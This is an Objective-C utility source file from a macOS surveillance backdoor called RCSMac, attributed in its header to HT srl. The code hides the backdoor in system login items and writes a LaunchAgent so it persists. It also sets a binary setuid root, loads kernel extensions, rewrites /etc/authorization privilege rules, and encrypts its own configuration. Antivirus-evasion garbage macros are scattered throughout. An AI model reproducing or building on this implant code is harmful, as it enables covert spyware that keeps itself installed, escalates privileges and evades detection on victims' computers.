core/Support/RCSMUtils.m
/*
* RCSMac - RCSMUtils
*
* Created by Alfredo 'revenge' Pesoli on 27/03/2009
* Copyright (C) HT srl 2009. All rights reserved
*
*/
#import <sys/stat.h>
#import "RCSMCommon.h"
#import "RCSMUtils.h"
#import "RCSMDebug.h"
#import "RCSMLogger.h"
#import "RCSMAVGarbage.h"
#import "RCSMGlobals.h" // gConfAesKey
#import <CommonCrypto/CommonDigest.h> // CC_MD5_DIGEST_LENGTH
#import "NSMutableData+AES128.h" //PKCS7
#import "RCSMEncryption.h" // __i_MEncryption
#define RCS_PLIST @"_i_mac.plist"
static __m_MUtils *sharedUtils = nil;
@implementation __m_MUtils
@synthesize mBackdoorPath;
@synthesize mKext32Path;
@synthesize mKext64Path;
@synthesize mSLIPlistPath;
@synthesize mServiceLoaderPath;
@synthesize mExecFlag;
#pragma mark -
#pragma mark Class and init methods
#pragma mark -
+ (__m_MUtils *)sharedInstance
{
@synchronized(self)
{
if (sharedUtils == nil)
{
//
// Assignment is not done here
//
[[self alloc] init];
}
}
return sharedUtils;
}
+ (id)allocWithZone: (NSZone *)aZone
{
@synchronized(self)
{
if (sharedUtils == nil)
{
sharedUtils = [super allocWithZone: aZone];
//
// Assignment and return on first allocation
//
return sharedUtils;
}
}
// On subsequent allocation attemps return nil
return nil;
}
- (id)copyWithZone: (NSZone *)aZone
{
return self;
}
- (id)init
{
Class myClass = [self class];
@synchronized(myClass)
{
if (sharedUtils != nil)
{
self = [super init];
if (self != nil)
{
sharedUtils = self;
}
}
}
return sharedUtils;
}
- (id)retain
{
return self;
}
- (unsigned)retainCount
{
// Denotes an object that cannot be released
return UINT_MAX;
}
- (void)release
{
// Do nothing
}
- (id)autorelease
{
return self;
}
#pragma mark -
#pragma mark General purpose routines
#pragma mark -
- (BOOL)searchSLIPlistForKey: (NSString *)aKey;
{
// AV evasion: only on release build
AV_GARBAGE_009
NSMutableDictionary *dicts = [self openSLIPlist];
NSArray *keys = [dicts allKeys];
if (dicts)
{
// AV evasion: only on release build
AV_GARBAGE_003
for (NSString *key in keys)
{
if ([key isEqualToString: @"AutoLaunchedApplicationDictionary"])
{
NSString *value = (NSString *)[dicts valueForKey: key];
id searchResult = [value valueForKey: @"Path"];
NSEnumerator *enumerator = [searchResult objectEnumerator];
id searchResObject;
while ((searchResObject = [enumerator nextObject]) != nil )
{
if ([searchResObject isEqualToString: aKey])
return YES;
}
}
}
}
return NO;
}
- (BOOL)saveSLIPlist: (id)anObject atPath: (NSString *)aPath
{
// AV evasion: only on release build
AV_GARBAGE_006
BOOL success = [anObject writeToFile: aPath
atomically: YES];
// AV evasion: only on release build
AV_GARBAGE_004
if (success == NO)
{
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_005
//
// Force owner since we can't remove that file if not owned by us
// with removeItemAtPath:error (e.g. backdoor upgrade)
//
NSString *ourPlist = createLaunchdPlistPath();
// AV evasion: only on release build
AV_GARBAGE_004
NSString *userAndGroup = [NSString stringWithFormat: @"%@:staff", NSUserName()];
// AV evasion: only on release build
AV_GARBAGE_003
NSArray *_tempArguments = [[NSArray alloc] initWithObjects:
userAndGroup,
ourPlist,
nil];
// AV evasion: only on release build
AV_GARBAGE_008
[gUtil executeTask: @"/usr/sbin/chown"
withArguments: _tempArguments
waitUntilEnd: YES];
// AV evasion: only on release build
AV_GARBAGE_002
[_tempArguments release];
// AV evasion: only on release build
AV_GARBAGE_001
return YES;
}
- (BOOL)addBackdoorToSLIPlist
{
// AV evasion: only on release build
AV_GARBAGE_001
NSMutableDictionary *dicts = [self openSLIPlist];
NSArray *keys = [dicts allKeys];
if (dicts)
{
// AV evasion: only on release build
AV_GARBAGE_003
for (NSString *key in keys)
{
if ([key isEqualToString: @"AutoLaunchedApplicationDictionary"])
{
NSMutableArray *value = (NSMutableArray *)[dicts objectForKey: key];
if (value != nil)
{
#ifdef DEBUG_UTILS
NSLog(@"%s - %@", __FUNCTION__, value);
NSLog(@"%s - %@", __FUNCTION__, [value class]);
#endif
NSMutableDictionary *entry = [NSMutableDictionary new];
[entry setObject: [NSNumber numberWithBool: TRUE] forKey: @"Hide"];
[entry setObject: [[NSBundle mainBundle] bundlePath] forKey: @"Path"];
[value addObject: entry];
[entry release];
}
}
}
}
return [self saveSLIPlist: dicts
atPath: @"com.apple.SystemLoginItems.plist"];
}
- (BOOL)removeBackdoorFromSLIPlist
{
// AV evasion: only on release build
AV_GARBAGE_003
//
// For now we just move back the backup that we made previously
// The best way would be just by removing our own entry from the most
// up to date SLI plist /Library/Preferences/com.apple.SystemLoginItems.plist
//
if ([[NSFileManager defaultManager] removeItemAtPath: mSLIPlistPath
error: nil] == YES)
{
if ([[NSFileManager defaultManager] fileExistsAtPath: @"com.apple.SystemLoginItems.plist_bak"])
{
return [[NSFileManager defaultManager] copyItemAtPath: @"com.apple.SystemLoginItems.plist_bak"
toPath: mSLIPlistPath
error: nil];
}
else
{
return YES;
}
}
// AV evasion: only on release build
AV_GARBAGE_009
return NO;
}
- (BOOL)createLaunchAgentPlist: (NSString *)aLabel
forBinary: (NSString *)aBinary
{
// AV evasion: only on release build
AV_GARBAGE_007
NSMutableDictionary *rootObj = [NSMutableDictionary dictionaryWithCapacity: 1];
NSDictionary *innerDict;
// AV evasion: only on release build
AV_GARBAGE_002
NSString *launchAgentsFileName = createLaunchdPlistPath();
// AV evasion: only on release build
AV_GARBAGE_009
// NSString *launchAgentsPath = [launchAgentsFileName stringByDeletingLastPathComponent];
//
// // AV evasion: only on release build
// AV_GARBAGE_004
//
// if ([[NSFileManager defaultManager] fileExistsAtPath: launchAgentsPath] == NO)
// {
// if (mkdir([launchAgentsPath UTF8String], 0755) == -1)
// {
// // AV evasion: only on release build
// AV_GARBAGE_008
//
// return NO;
// }
// }
//
// AV evasion: only on release build
AV_GARBAGE_002
NSString *backdoorPath = [NSString stringWithFormat: @"%@/%@", mBackdoorPath, aBinary];
// AV evasion: only on release build
AV_GARBAGE_001
//NSString *errorLog = [NSString stringWithFormat: @"/dev/null"]; // J: unused
// AV evasion: only on release build
//AV_GARBAGE_005
//NSString *outLog = [NSString stringWithFormat: @"/dev/null"]; // J: unused
// AV evasion: only on release build
//AV_GARBAGE_003
innerDict =
[[NSDictionary alloc] initWithObjectsAndKeys:aLabel, @"Label",
@"Aqua", @"LimitLoadToSessionType",
[NSNumber numberWithBool: FALSE], @"OnDemand",
[[NSBundle mainBundle] bundlePath], @"WorkingDirectory",
[NSArray arrayWithObjects: backdoorPath, nil], @"ProgramArguments",
//errorLog, @"StandardErrorPath",
//outLog, @"StandardOutPath",
nil];
// AV evasion: only on release build
AV_GARBAGE_005
[rootObj addEntriesFromDictionary: innerDict];
[innerDict release];
return [self saveSLIPlist: rootObj
atPath: launchAgentsFileName];
}
- (BOOL)createSLIPlistWithBackdoor
{
NSMutableDictionary *rootObj = [NSMutableDictionary dictionaryWithCapacity:1];
NSDictionary *innerDict;
NSMutableArray *innerArray = [NSMutableArray new];
NSString *appKey = @"AutoLaunchedApplicationDictionary";
// AV evasion: only on release build
AV_GARBAGE_009
NSArray *tempArray = [NSArray arrayWithObjects: @"1",
[[NSBundle mainBundle] bundlePath],
nil];
NSArray *tempKeys = [NSArray arrayWithObjects: @"Hide",
@"Path",
nil];
// AV evasion: only on release build
AV_GARBAGE_009
innerDict = [NSDictionary dictionaryWithObjects: tempArray
forKeys: tempKeys];
[innerArray addObject: innerDict];
[rootObj setObject: innerArray
forKey: appKey];
// AV evasion: only on release build
AV_GARBAGE_003
NSString *err;
NSData *binData = [NSPropertyListSerialization dataFromPropertyList: rootObj
format: NSPropertyListXMLFormat_v1_0
errorDescription: &err];
[innerArray release];
// AV evasion: only on release build
AV_GARBAGE_007
if (binData)
{
return [self saveSLIPlist: binData
atPath: [self mSLIPlistPath]];
}
else
{
#ifdef DEBUG_UTILS
NSLog(@"[createSLIPlist] An error occurred");
#endif
[err release];
}
return NO;
}
- (BOOL)isBackdoorPresentInSLI: (NSString *)aKey
{
// AV evasion: only on release build
AV_GARBAGE_009
return [self searchSLIPlistForKey: aKey];
}
- (id)openSLIPlist
{ // AV evasion: only on release build
AV_GARBAGE_009
NSData *binData = [NSData dataWithContentsOfFile: mSLIPlistPath];
NSString *error;
if (!binData)
{
#ifdef DEBUG_UTILS
NSLog(@"[openSLIPlist] Error while opening %@", mSLIPlistPath);
#endif
return 0;
}
// AV evasion: only on release build
AV_GARBAGE_003
NSPropertyListFormat format;
NSMutableDictionary *dicts = (NSMutableDictionary *)
[NSPropertyListSerialization propertyListFromData: binData
mutabilityOption: NSPropertyListMutableContainersAndLeaves
format: &format
errorDescription: &error];
if (dicts)
{
return dicts;
}
return 0;
}
- (BOOL)dropExecFlag
{
BOOL success;
// AV evasion: only on release build
AV_GARBAGE_004
// Create the empty existence flag file
success = [@"" writeToFile: [self mExecFlag]
atomically: NO
encoding: NSUnicodeStringEncoding
error: nil];
// AV evasion: only on release build
AV_GARBAGE_009
if (success == YES)
{
#ifdef DEBUG_UTILS
NSLog(@"Existence flag created successfully");
#endif
return YES;
}
else
{
#ifdef DEBUG_UTILS
NSLog(@"Error while creating the existence flag");
#endif
return NO;
}
}
- (BOOL)makeSuidBinary: (NSString *)aBinary
{
BOOL success;
// AV evasion: only on release build
AV_GARBAGE_009
//
// Forcing suid permission on start, just to be sure
//
if (gOSMajor == 10 && (gOSMinor == 5 || gOSMinor == 6))
{
u_long permissions = (S_ISUID | S_IRWXU | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH);
NSValue *permission = [NSNumber numberWithUnsignedLong: permissions];
NSValue *owner = [NSNumber numberWithInt: 0];
NSDictionary *tempDictionary = [NSDictionary dictionaryWithObjectsAndKeys:
permission,
NSFilePosixPermissions,
owner,
NSFileOwnerAccountID,
nil];
// AV evasion: only on release build
AV_GARBAGE_008
success = [[NSFileManager defaultManager] setAttributes: tempDictionary
ofItemAtPath: aBinary
error: nil];
//[self disableSetugidAuth];
}
else
{
success = NO;
}
return success;
}
- (BOOL)unloadKext
{ // AV evasion: only on release build
AV_GARBAGE_003
if (is64bitKernel())
{
#ifdef DEBUG_UTILS
NSLog(@"Unloading our KEXT64 @ %@", mKext64Path);
#endif
// AV evasion: only on release build
AV_GARBAGE_005
if ([[NSFileManager defaultManager] fileExistsAtPath: mKext64Path])
{
#ifdef DEBUG_UTILS
NSLog(@"KEXT64 found");
#endif
if (getuid() == 0 || geteuid() == 0)
{
// AV evasion: only on release build
AV_GARBAGE_006
NSArray *arguments = [NSArray arrayWithObjects: mKext64Path, nil];
[self executeTask: @"/sbin/kextunload"
withArguments: arguments
waitUntilEnd: YES];
}
}
else
{
#ifdef DEBUG_UTILS
NSLog(@"KEXT64 not found");
#endif
return NO;
}
}
else
{
#ifdef DEBUG_UTILS
NSLog(@"Unloading our KEXT32 @ %@", mKext32Path);
#endif
if ([[NSFileManager defaultManager] fileExistsAtPath: mKext32Path])
{
#ifdef DEBUG_UTILS
NSLog(@"KEXT32 found");
#endif
// AV evasion: only on release build
AV_GARBAGE_003
if (getuid() == 0 || geteuid() == 0)
{
NSArray *arguments = [NSArray arrayWithObjects: mKext32Path, nil];
// AV evasion: only on release build
AV_GARBAGE_005
[self executeTask: @"/sbin/kextunload"
withArguments: arguments
waitUntilEnd: YES];
}
}
else
{
#ifdef DEBUG_UTILS
NSLog(@"KEXT not found");
#endif
return NO;
}
}
return YES;
}
- (BOOL)loadKextFor64bit: (BOOL)is64bit
{ // AV evasion: only on release build
AV_GARBAGE_004
if (is64bitKernel())
{
#ifdef DEBUG_UTILS
NSLog(@"Loading KEXT64 @ %@", mKext64Path);
#endif
if ([[NSFileManager defaultManager] fileExistsAtPath: mKext64Path])
{
#ifdef DEBUG_UTILS
NSLog(@"KEXT64 found");
#endif
// AV evasion: only on release build
AV_GARBAGE_009
NSArray *arguments = [NSArray arrayWithObjects: @"-R",
@"744",
mKext64Path,
nil];
[self executeTask: @"/bin/chmod"
withArguments: arguments
waitUntilEnd: YES];
// AV evasion: only on release build
AV_GARBAGE_002
if (getuid() == 0 || geteuid() == 0)
{
arguments = [NSArray arrayWithObjects: @"-R",
@"root:wheel",
mKext64Path,
nil];
[self executeTask: @"/usr/sbin/chown"
withArguments: arguments
waitUntilEnd: YES];
// AV evasion: only on release build
AV_GARBAGE_009
arguments = [NSArray arrayWithObjects: mKext64Path, nil];
[self executeTask: @"/sbin/kextload"
withArguments: arguments
waitUntilEnd: YES];
}
}
else
{
#ifdef DEBUG_UTILS
NSLog(@"KEXT64 not found");
#endif
return NO;
}
}
else
{
#ifdef DEBUG_UTILS
//NSLog(@"Loading KEXT32 @ %@", mKextPath);
#endif
// AV evasion: only on release build
AV_GARBAGE_003
if ([[NSFileManager defaultManager] fileExistsAtPath: mKext32Path])
{
#ifdef DEBUG_UTILS
NSLog(@"KEXT32 found");
#endif
NSArray *arguments = [NSArray arrayWithObjects: @"-R",
@"744",
mKext32Path,
nil];
[self executeTask: @"/bin/chmod"
withArguments: arguments
waitUntilEnd: YES];
// AV evasion: only on release build
AV_GARBAGE_006
if (getuid() == 0 || geteuid() == 0)
{
arguments = [NSArray arrayWithObjects: @"-R",
@"root:wheel",
mKext32Path,
nil];
[self executeTask: @"/usr/sbin/chown"
withArguments: arguments
waitUntilEnd: YES];
arguments = [NSArray arrayWithObjects: mKext32Path, nil];
// AV evasion: only on release build
AV_GARBAGE_004
[self executeTask: @"/sbin/kextload"
withArguments: arguments
waitUntilEnd: YES];
}
}
else
{
#ifdef DEBUG_UTILS
NSLog(@"KEXT32 not found");
#endif
return NO;
}
}
// AV evasion: only on release build
AV_GARBAGE_009
return YES;
}
- (BOOL)disableSetugidAuth
{ // AV evasion: only on release build
AV_GARBAGE_003
NSData *binData = [NSData dataWithContentsOfFile: @"/etc/authorization"];
if (!binData)
{
#ifdef DEBUG_UTILS
errorLog(@"Error while opening auth file");
#endif
return NO;
}
NSPropertyListFormat format;
NSMutableDictionary *rootObject = nil;
#ifdef MAC_OS_X_VERSION_10_6
NSError *error;
rootObject = (NSMutableDictionary *)
[NSPropertyListSerialization propertyListWithData: binData
options: NSPropertyListMutableContainersAndLeaves
format: &format
error: &error];
#else
NSString *error;
rootObject = (NSMutableDictionary *)
[NSPropertyListSerialization propertyListFromData: binData
mutabilityOption: NSPropertyListMutableContainersAndLeaves
format: &format
errorDescription: &error];
#endif
NSArray *rootKeys = [rootObject allKeys];
if (rootObject)
{
for (NSString *key in rootKeys)
{
if ([key isEqualToString: @"rights"])
{
NSMutableDictionary *dictsArray = (NSMutableDictionary *)[rootObject objectForKey: key];
if (dictsArray != nil)
{
NSString *entryKey = @"system.privilege.setugid_appkit";
[dictsArray removeObjectForKey: entryKey];
}
}
}
}
return [self saveSLIPlist: rootObject
atPath: @"/etc/authorization"];
}
- (BOOL)enableSetugidAuth
{ // AV evasion: only on release build
AV_GARBAGE_002
NSData *binData = [NSData dataWithContentsOfFile: @"/etc/authorization"];
if (!binData)
{
#ifdef DEBUG_UTILS
errorLog(@"Error while opening auth file");
#endif
return NO;
}
NSPropertyListFormat format;
NSMutableDictionary *rootObject = nil;
NSError *error;
rootObject = (NSMutableDictionary *)
[NSPropertyListSerialization propertyListWithData: binData
options: NSPropertyListMutableContainersAndLeaves
format: &format
error: &error];
NSArray *rootKeys = [rootObject allKeys];
if (rootObject)
{
for (NSString *key in rootKeys)
{
if ([key isEqualToString: @"rights"])
{
NSMutableDictionary *dictsArray = (NSMutableDictionary *)[rootObject objectForKey: key];
if (dictsArray != nil)
{
/*
<key>system.privilege.setugid_appkit</key>
<dict>
<key>class</key>
<string>allow</string>
<key>comment</key>
<string>Comment here</string>
</dict>
*/
NSString *entryKey = @"system.privilege.setugid_appkit";
id object = [dictsArray objectForKey: entryKey];
if (object == nil)
{
#ifdef DEBUG_UTILS
warnLog(@"setugid_appkit capability not found");
#endif
NSArray *keys = [NSArray arrayWithObjects: @"class",
@"comment",
nil];
NSArray *objects = [NSArray arrayWithObjects: @"allow",
@"a",
nil];
NSDictionary *innerDict = [NSDictionary dictionaryWithObjects: objects
forKeys: keys];
NSDictionary *outerDict = [NSDictionary dictionaryWithObject: innerDict
forKey: entryKey];
[dictsArray addEntriesFromDictionary: outerDict];
}
else
{
#ifdef DEBUG_UTILS
warnLog(@"setugid_appkit capability already found");
#endif
}
}
}
}
}
else
{
#ifdef DEBUG_UTILS
errorLog(@"rootObject not found");
#endif
}
return [self saveSLIPlist: rootObject
atPath: @"/etc/authorization"];
}
- (BOOL)isMtLion
{ // AV evasion: only on release build
AV_GARBAGE_001
if (gOSMajor == 10 && gOSMinor == 8)
return YES;
return NO;
}
- (BOOL)isMaverics
{
if (gOSMajor == 10 && gOSMinor == 9)
return YES;
return NO;
}
- (BOOL)isLion
{ // AV evasion: only on release build
AV_GARBAGE_001
if (gOSMajor == 10 && gOSMinor == 7)
return YES;
return NO;
}
- (BOOL)isLeopard
{
// AV evasion: only on release build
AV_GARBAGE_009
if (gOSMajor == 10 && gOSMinor == 5)
return YES;
return NO;
}
- (BOOL)isSnowLeopard
{
// AV evasion: only on release build
AV_GARBAGE_009
if (gOSMajor == 10 && gOSMinor == 6)
return YES;
return NO;
}
- (void)executeTask: (NSString *)anAppPath
withArguments: (NSArray *)arguments
waitUntilEnd: (BOOL)waitForExecution
{
// AV evasion: only on release build
AV_GARBAGE_009
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath: anAppPath];
if (arguments != nil)
[task setArguments: arguments];
// AV evasion: only on release build
AV_GARBAGE_001
NSPipe *_pipe = [NSPipe pipe];
[task setStandardOutput: _pipe];
[task setStandardError: _pipe];
#ifdef DEBUG_UTILS
infoLog(@"Executing %@", anAppPath);
#endif
// AV evasion: only on release build
AV_GARBAGE_001
[task launch];
#ifdef DEBUG_UTILS
infoLog(@"Executed %@", anAppPath);
#endif
// AV evasion: only on release build
AV_GARBAGE_003
if (waitForExecution == YES)
{
#ifdef DEBUG_UTILS
infoLog(@"Waiting until task exit");
#endif
[task waitUntilExit];
}
#ifdef DEBUG_UTILS
infoLog(@"Task exited");
#endif
[task release];
}
- (NSString*)propFilePath
{
NSString *retString = nil;
NSData *keyData;
keyData = [NSData dataWithBytes:gConfAesKey length: CC_MD5_DIGEST_LENGTH];
__m_MEncryption *rcsEnc = [[__m_MEncryption alloc] initWithKey: keyData];
NSString *scramFileName = [NSString stringWithString: [rcsEnc scrambleForward: RCS_PLIST seed: 1]];
[rcsEnc release];
retString = [NSString stringWithFormat:@"%@/%@",
[[NSBundle mainBundle] bundlePath],
scramFileName];
return retString;
}
- (NSData*)encryptProps:(NSDictionary*)aDict
{
NSData *decPropFile = [NSKeyedArchiver archivedDataWithRootObject: aDict];
NSData *keyData = [NSData dataWithBytes:gConfAesKey length: CC_MD5_DIGEST_LENGTH];
NSData *encData = [decPropFile encryptPKCS7: keyData];
return encData;
}
- (NSData*)decryptProps
{
NSString *propFileName = [self propFilePath];
if ([[NSFileManager defaultManager] fileExistsAtPath: propFileName] == NO)
return nil;
NSMutableData *encPropFile = [NSMutableData dataWithContentsOfFile: propFileName];
NSData *keyData = [NSData dataWithBytes:gConfAesKey length: CC_MD5_DIGEST_LENGTH];
NSData *retData = [encPropFile decryptPKCS7: keyData];
return retData;
}
- (id)getPropertyWithName:(NSString*)name
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
id dict = nil;
@synchronized(self)
{
NSData *decData = [self decryptProps];
if (decData != nil)
{
NSMutableDictionary *propDict = [NSKeyedUnarchiver unarchiveObjectWithData:decData];
if (propDict != nil)
dict = [[propDict objectForKey: name] retain];
}
}
[pool release];
return dict;
}
- (BOOL)setPropertyWithName:(NSString*)name
withDictionary:(NSDictionary*)dictionary
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
NSMutableDictionary *propDict = nil;
@synchronized(self)
{
NSData *dictData = [self decryptProps];
if (dictData != nil)
{
propDict = [NSKeyedUnarchiver unarchiveObjectWithData:dictData];
if ([propDict objectForKey: name] == nil)
{
[propDict setObject:dictionary forKey: name];
}
else
{
[propDict setObject:dictionary forKey: name];
}
}
else
{
propDict = [NSMutableDictionary dictionaryWithObjectsAndKeys: dictionary, name, nil];
}
NSData *encDict = [self encryptProps: propDict];
NSString *propFileName = [self propFilePath];
[encDict writeToFile: propFileName atomically:YES];
}
[pool release];
return YES;
}
@end